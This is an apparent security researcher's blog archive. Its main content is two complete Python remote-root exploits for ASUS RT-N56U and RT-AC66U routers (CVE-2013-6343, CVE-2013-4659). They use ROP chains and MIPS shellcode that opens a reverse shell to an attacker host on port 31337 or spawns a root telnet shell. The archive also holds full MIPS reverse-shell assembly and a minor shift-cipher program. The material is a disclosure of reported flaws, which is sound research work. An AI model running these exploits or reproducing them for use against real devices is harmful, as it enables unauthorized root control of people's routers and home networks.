Sunday, January 19, 2014

[Exploit] ASUS RT-N56U Remote Root Shell Buffer Overflow


From its hardened state, the RT-N56U runs an HTTP server on port TCP/80. This HTTP server is vulnerable to multiple buffer overflow attacks during the command processing routine (CVE-2013-6343) of the media application configuration and installation process. In the same fashion that Broadcom ACSD was exploited, an attacker can connect to the HTTPD service and submit a command string that is larger than the program’s fixed length buffer. Upon doing so, the attacker will have corrupted the HTTP servers call stack and have altered the execution flow of the program.

The RT-N56U exploit utilizes return oriented programming (ROP) to circumvent stack randomization, but does not need to cause a context switch by calling the sleep() function. At the time of code execution, the RT-N56U has already performed a context switch and written the d-cache (data cache) back to RAM. Because of this condition, the RT-N56U exploit utilizes a call to sched_yield(), which relinquishes the CPU to a ready to run process (if one exists) with a greater than or equal to execution priority of the HTTPD process.

Finally, I direct the program’s execution to custom shellcode residing on the programs call-stack, which when executed, connects back to the attackers machine on TCP/31337 and spawns a root system shell.



#!/usr/bin/env python

from time import sleep
from sys import exit
import urllib2, signal, struct, base64, socket, ssl

# [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
# [*] Discovered and Reported: October 2013
# [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
# [*] Contact: Twitter - @rootHak42
# [*] Software Vendor: http://asus.com
# [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
# [*] Software: httpd (Listens on TCP/80 and TCP/443)
# [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
# [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343
#
# [*] Overview:
#       Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install
#       supplemental applications. This install process is handled by the routers web server,
#       and is susceptible to multiple Buffer Overflow attacks.
#
#       Vulnerable Web Page: APP_Installation.asp
#       Vulnerable HTML Parameters: apps_name, apps_flag
#       Vulneralbe Source File: web.c of httpd code
#       *Firmware versions prior to the tested version were vulnerable to this attack.
#


def fingerPrint(host, port, netSock):

    fprint = ["RT-N56U"]
    found = None
    print " [*] Preparing to fingerprint the server."
    try:
        print " [*] Connecting to %s on port %d." % (host, port)
        netSock.connect((host, port))
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)

    try:
        print " [*] Sending fingerprint request."
        netSock.send("HEAD / HTTP/1.1\r\n\r\n")
        netData = netSock.recv(1024)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)

    try:
        print " [*] Closing network socket.\n"
        netSock.close()
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)

    for item in fprint:
        if item in netData:
            print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item
            sleep(1)
            found = item
    if found == None:
        print " [!!!] Server banner doesn't match available targets. [!!!]\n"
        sleep(1)
        exit(0)
    else:
        return found


def targURL():

    while True:
  
        URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>")
        if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://":
            return URL.lower()
        else:
            print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n"
            sleep(1)


def creds():

    while True:

        User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>")
        Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>")
        if len(User) != 0:
            return User, Pass
        else:
            print "\n [!!!] Username cant be null [!!!]\n"
            sleep(1)


def basicAuth():

    auth = None

    while auth != "yes" and auth != "no":
        auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>")

        if auth.lower() == "yes":
            print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n"
            sleep(1)
            User, Pass = creds()
            return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "")
        elif auth.lower() == "no":
            print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n"
            sleep(1)
            return 0
        else:
            print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth
            sleep(1)


def sigHandle(signum, frm): # Signal handler
   
    print "\n\n[!!!] Cleaning up the exploit... [!!!]\n"
    sleep(1)
    exit(0)


def main():

    print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
[*] Discovered and Reported: October 2013
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
[*] Contact: Twitter - @rootHak42
[*] Software Vendor: http://asus.com
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
[*] Software: httpd (Listens on TCP/80 and TCP/443)
[*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
[*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n"""
    signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c

    target = targURL()
    try:
        print "\n [*] Creating network socket"
        netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if target[0:5] == "https":
            host = target[8:]
            port = 443
            print " [*] Preparing SSL/TLS support."
            https_netSock = ssl.wrap_socket(netSock)
            finger = fingerPrint(host, port, https_netSock)
        else:
            host = target[7:]
            port = 80
            finger = fingerPrint(host, port, netSock)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)

    auth = basicAuth()
    junk = "\x42" * 109
    link_nop = "2Aa3"

    #Base address of ld_uClibc and libc in httpd address space
    ld_uClibcBase = 0x2aaa8000
    libcBaseAddr = 0x2ab5f000

    #Rop Chain
    #<chown+68>:   move    v0,s0 -> sched_yield()
    #<chown+72>:   lw  ra,28(sp) -> Rop2
    #<chown+76>:   lw  s0,24(sp)
    #<chown+80>:   jr  ra
    #<chown+84>:   addiu   sp,sp,32
    saved_ra1 = struct.pack("<L", libcBaseAddr + 0x73f4)

    #<_dl_runtime_pltresolve+68>:  lw  ra,36(sp) -> Rop 3
    #<_dl_runtime_pltresolve+72>:  lw  a0,16(sp)
    #<_dl_runtime_pltresolve+76>:  lw  a1,20(sp)
    #<_dl_runtime_pltresolve+80>:  lw  a2,24(sp)
    #<_dl_runtime_pltresolve+84>:  lw  a3,28(sp)
    #<_dl_runtime_pltresolve+88>:  addiu   sp,sp,40
    #<_dl_runtime_pltresolve+92>:  move    t9,v0
    #<_dl_runtime_pltresolve+96>:  jr  t9 -> jump sched_yield()
    #<_dl_runtime_pltresolve+100>: nop
    saved_ra2 = struct.pack("<L", ld_uClibcBase + 0x4e94)

    #<setrlimit64+144>:    addiu   a1,sp,24 -> ptr to stack
    #<setrlimit64+148>:    lw  gp,16(sp)
    #<setrlimit64+152>:    lw  ra,32(sp) -> Rop 4
    #<setrlimit64+156>:    jr  ra -> jump Rop 4
    #<setrlimit64+160>:    addiu   sp,sp,40
    saved_ra3 = struct.pack("<L", libcBaseAddr + 0x9ce0)

    #move    t9,a1 -> ptr to jalr sp on stack
    #addiu   a0,a0,56
    #jr      t9 -> jump to stack
    #move    a1,a2
    saved_ra4 = struct.pack("<L", libcBaseAddr + 0x308fc)

    #sched_yield()
    sch_yield_s0 = struct.pack("<L", libcBaseAddr + 0x94b0)
 
    #Stage 1 Shellcode
    jalr_sp =  "\x09\xf8\xa0\x03"

    #Stage 2 Shellcode (Stack Pivot) by Jacob Holcomb of ISE
    stg2_SC = "\x2c\x08\xbd\x27"# addiu sp, sp, 2092
    stg2_SC += "\x09\xf8\xa0\x03"# jalr sp
    stg2_SC += "\x32\x41\x61"#filler for link (branch delay)

    #Stage 3 Shellcode
    #200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
    #Connects on 192.168.1.177:31337
    stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
    stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

    payload =  junk + sch_yield_s0 + junk[0:12] + saved_ra1 + junk[0:32]
    payload += saved_ra2 + junk[0:36] + saved_ra3 + junk[0:24] + jalr_sp
    payload += link_nop + saved_ra4 + junk[0:4] + stg2_SC
    postData = "apps_action=install&apps_path=&apps_name=%s&apps_flag=sdb1" % payload

    try:
        print "\n [*] Preparing the malicious web request."
        httpRequest = urllib2.Request("%s/APP_Installation.asp" % target, data = postData)
        httpRequest.add_header("Cookie", "hwaddr=" + junk[0:35] + stg3_SC + "\x42" * (265 - len(stg3_SC)))
        if auth != 0:
            httpRequest.add_header("Authorization", "Basic %s" % auth)
        print " [*] Successfully built HTTP POST request."

    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)

    try:
        print """ [*] Preparing to send Evil PAYLoAd to %s on port %d!\n [*] Payload Length: %d
 [*] Waiting...""" % (host, port, len(payload))
        sploit = urllib2.urlopen(httpRequest, None, 6)
        if sploit.getcode() == 200:
            print " [*] Server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!"
        else:
            print " [*] Server Response: HTTP %d. Something went wrong!" % sploit.getcode()

    except(urllib2.URLError) as error:
        print "\n [!!!] Web request error! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
    finally:
        print " [*] %s exploit code has finished.\n" % finger

if __name__ == "__main__":
    main()   

Sunday, November 3, 2013

[Shellcode] MIPS Little Endian Reverse Shell Shellcode (Linux)

# MIPS Little Endian Reverse Shell ASM File and Assembled Shellcode
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: http://infosec42.blogspot.com
# Company Website: http://securityevaluators.com


--G42_MIPS_rev_shell.s-- 


    .data

    .bss

    .text

    .globl _start

_start:

    #Close stdin(0)
    slti $a0, $zero, 0xFFFF
    li $v0, 4006
    syscall 0x42424

    #Close stdout(1)
    slti $a0, $zero, 0x1111
    li $v0, 4006
    syscall 0x42424

    #Close stderr(2)
    li $t4, 0xFFFFFFFD #-3
    not $a0, $t4
    li $v0, 4006
    syscall 0x42424

    #Socket Domain - AF_INET (2)
    li $t4, 0xFFFFFFFD #-3
    not $a0, $t4
    #Socket Type - SOCK_STREAM (2 for mips)
    not $a1, $t4
    #Socket Protocol - 0
    slti $a2, $zero, 0xFFFF
    #Call socket
    li $v0, 4183
    syscall 0x42424

    #Move socket return value (v0) to register a0
    #V0 must be below 0xFFFF/65535
    andi $a0, $v0, 0xFFFF

    #Calling dup three times
    #Duplicate FD (stdin)
    #Socket returned fd 0 - stdin goes to socket
    #-----
    #Duplicate FD (stdout)
    li $v0, 4041
    syscall 0x42424
    #Duplicate FD (stderr)
    li $v0, 4041
    syscall 0x42424

    #Connect sockfd
    #Socket FD is already in a0
    #-----
    #Connect sockaddr
    lui $a1, 0x6979 #Port:
    ori $a1, 0xFF01 #31337
    addi $a1, $a1, 0x0101
    sw $a1, -8($sp)

    li $a1, 0xB101A8C0 #192.168.1.177
    sw $a1, -4($sp)
    addi $a1, $sp, -8

    #Connect addrlen - 16
    li $t4, 0xFFFFFFEF #-17
    not $a2, $t4
    #Call connect
    li $v0, 4170
    syscall 0x42424

    #Putting /bin/sh onto the stack
    lui $t0, 0x6962 #Loading Upper Immediate - ib
    ori $t0, $t0,0x2f2f #Bitwise OR Immediate - //
    sw $t0, -20($sp) #Store word pointer to command string for execution
    #
    lui $t0, 0x6873 #Loading Upper Immediate - hs
    ori $t0, 0x2f6e #Bitwise OR Immediate - /n
    sw $t0, -16($sp) #Store word pointer to command string for execution
    #
    slti $a3, $zero, 0xFFFF #Putting null (0) onto stack
    sw $a3, -12($sp)
    sw $a3, -4($sp)

    #execve *filename
    addi $a0, $sp, -20
    #execve *argv[]
    addi $t0, $sp, -20
    sw $t0, -8($sp)
    addi $a1, $sp, -8
    #
    addiu $sp, $sp, -20 #Adjusting stack 
    #
    #execve envp[] - 0
    slti $a2, $zero, 0xFFFF
    #Call execve
    li $v0, 4011
    syscall 0x42424




# NOTE: Assembled shellcode
#
#    #200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
#    #Connects on 192.168.1.177:31337
#    stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
#    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
#    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
#    stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
#    stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
#    stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#    stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
#    stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
#    stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
#    stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
#    stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
#    stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
#    stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

Wednesday, September 11, 2013

[Program] Shift42 - Shift Cipher Program



The following C program is my implementation of a simple shift cipher. The program demonstrated in the video was compiled using "gcc -gstabs -o Shift42 Shift42.c"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
    -Shift42 v1.0
    -Shift Cipher Program by Jacob/Gimppy Holcomb
    -September 2013
*/

void usage(char *prog){

   printf("\nEncoding Usage: %s <'Message'> <Positive Shift>\n"
          "Decoding Usage: %s <'Message'> <Negative Shift>\n\n", prog, prog);
   exit(0);
}


int inputCheck(int argc, int num){

    if (argc < num + 1){
        return 0;
    }
    else{
        return 1;
    }
}


int main(int argc, char *argv[]){

    if (!inputCheck(argc, 2)){
        usage(argv[0]);
    }
    char buff[strlen(argv[1])];
    char message[sizeof(buff)];
    int cShift = atoi(argv[2]);

    strncpy(buff, argv[1], strlen(argv[1]));

    int i;
    for (i = 0; i < strlen(buff); i++){
        snprintf(message + i, strlen(buff), "%c", (buff[i] + cShift));
    }

    if (cShift > 0){
        printf("\nYour encoded message is: %.*s\n\n", strlen(argv[1]), message);
    }
    else{
        printf("\nYour decoded message is: %.*s\n\n", strlen(argv[1]), message);
    }

    return 0;
}

Tuesday, September 10, 2013

[Article] ISE featured on Tripwire.com


Exploiting SOHO Routers to Gain Root


Next month, Security BSides will be hosting an event in the nation’s capital, and the great lineup of speakers guarantees this will be a conference to remember.
The goal of BSidesDC is to provide a venue for local security professionals to engage with one another in an open, interactive, and community oriented environment....

 Click the image above to read the entire article.

[Exploit] ASUS RT-AC66U Remote Root (Broadcom ACSD)




#!/usr/bin/env python

import signal, struct
from time import sleep
from socket import *
from sys import exit, exc_info

#
# Title*******************ASUS RT-AC66U Remote Root Shell Exploit - acsd param command
# Discovered and Reported*June 2013
# Discovered/Exploited By*Jacob Holcomb/Gimppy and Jacob Thompson
#                        *Security Analsyts @ Independent Security Evaluators
# Software Vendor*********http://asus.com
# Exploit/Advisory********http://securityevaluators.com, http://infosec42.blogspot.com/
# Software****************acsd wireless service (Listens on TCP/5916)
# Firmware Version********3.0.0.4.266 (Other versions were not tested and may be vulnerable)
# CVE*********************ASUS RT-AC66U Multiple Buffer Overflows: CVE-2013-4659
#
# Overview:
#    The ASUS RT-AC66U contains the Broadcom ACSD Wireless binary that is vulnerable to multiple
#   Buffer Overflow attacks.
#
#   Multiple overflows exist in the following software:
#
#    - Broadcom acsd - Wireless Channel Service (autochannel&param, autochannel&data, csscan&ifname commands)
#                                                      


def sigHandle(signum, frm): # Signal handler
  
    print "\n[!!!] Cleaning up the exploit... [!!!]\n"
    sleep(1)
    exit(0)


def targServer():
  
    while True:  
        try:
            server = inet_aton(raw_input("\n[*] Please enter the IPv4 address of the ASUS RT-AC66U router:\n\n>"))
            server = inet_ntoa(server)
            break
        except:
            print "\n\n[!!!] Error: Please enter a valid IPv4 address. [!!!]\n\n"
            sleep(1)
            continue
          
    return server 


def main():
    
    print ("""\n [*] Title: ASUS RT-AC66U Remote Root Shell Exploit - acsd param command
 [*] Discovered and Reported: June 2013
 [*] Discovered/Exploited By: Jacob Holcomb/Gimppy and Jacob Thompson, Security Analysts @ ISE
 [*] Software Vendor: http://asus.com
 [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
 [*] Software: acsd wireless service (Listens on TCP/5916)
 [*] Firmware Version: 3.0.0.4.266 (Other versions were not tested and may be vulnerable)
 [*] CVE: ASUS RT-AC66U Broadcom ACSD Buffer Overflow: CVE-2013-4659\n""")
    signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c
    victim = targServer()
    port = int(5916)
    acsdCmd = "autochannel&param=" #Vulnerable command - JH
  
    # base address of .text section of libc.so.0 in acsd's address space
    libc_base = 0x2ab25000

    # ROP gadget #1
    # lui     s0,0x2
    # li      a0,1
    # move    t9,s1
    # jalr    t9
    # ori     a1,s0,0x2
    ra1 = struct.pack("<L", libc_base + 0x2d39c)

    # ROP gadget #2
    # move    t9,s3
    # lw      ra,44(sp)
    # lw      s4,40(sp)
    # lw      s3,36(sp)
    # lw      s2,32(sp)
    # lw      s1,28(sp)
    # lw      s0,24(sp)
    # jr      t9
    s1 = struct.pack("<L", libc_base + 0x34358)

    # sleep() - used to force program context switch (cache flush)
    s3 = struct.pack("<L", libc_base + 0x2cb90)

    # ROP gadget #3
    # addiu   a1,sp,24
    # lw      gp,16(sp)
    # lw      ra,32(sp)
    # jr      ra
    # addiu   sp,sp,40
    ra2 = struct.pack("<L", libc_base + 0xa1b0)

    # ROP gadget #4
    # move    t9,a1
    # addiu   a0,a0,56
    # jr      t9
    # move    a1,a2
    ra3 = struct.pack("<L", libc_base + 0x3167c)

    # jalr sp
    jalr_sp =  "\x09\xf8\xa0\x03"
  
    JuNk = "\x42" * 510
    safeNop = "2Aa3"

    #80 Bytes system() Shellcode by Jacob Holcomb of ISE
    #Calling system() and executing telnetd -l /bin/sh
    shellcode = "\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
    shellcode += "\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
    shellcode += "\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
    shellcode += "\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
    shellcode += "\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
    shellcode += "\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
    shellcode += "\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
    shellcode += "\x41\x61\x33"

    sploit = acsdCmd + JuNk + s1 + JuNk[0:4] + s3 + ra1 + JuNk[0:48]
    sploit += ra2 + JuNk[0:24]+ jalr_sp + safeNop + ra3 + JuNk[0:4]
    sploit += safeNop + shellcode

    try:
        print "\n [*] Creating network socket."
        net_sock = socket(AF_INET, SOCK_STREAM)
    except:
        print "\n [!!!] There was an error creating the network socket. [!!!]\n\n%s\n" % exc_info()     
        sleep(1)
        exit(0)  

    try:
        print " [*] Connecting to ASUS RT-AC66U router @ %s on port TCP/%d." % (victim, port)
        net_sock.connect((victim, port))
    except:
        print "\n [!!!] There was an error connecting to %s. [!!!]\n\n%s\n" % (victim, exc_info())
        sleep(1)
        exit(0)

    try:
        print """ [*] Attempting to exploit the acsd param command.
 [*] Sending 1337 ro0t Sh3ll exploit to %s on TCP port %d.
 [*] Payload Length: %d bytes.""" % (victim, port, len(sploit))
        net_sock.send(sploit)
        sleep(1)
    except:
        print "\n [!!!] There was an error sending the 1337 ro0t Sh3ll exploit to %s [!!!]\n\n%s\n" % (victim, exc_info())
        sleep(1)
        exit(0)

    try:
        print """ [*] 1337 ro0t Sh3ll exploit was sent! Fingers crossed for code execution!
 [*] Closing network socket. Press ctrl + c repeatedly to force exploit cleanup.\n"""
        net_sock.close()
    except:
        print "\n [!!!] There was an error closing the network socket. [!!!]\n\n%s\n" % exc_info()
        sleep(1)
        exit(0)


if __name__ == "__main__":
    main()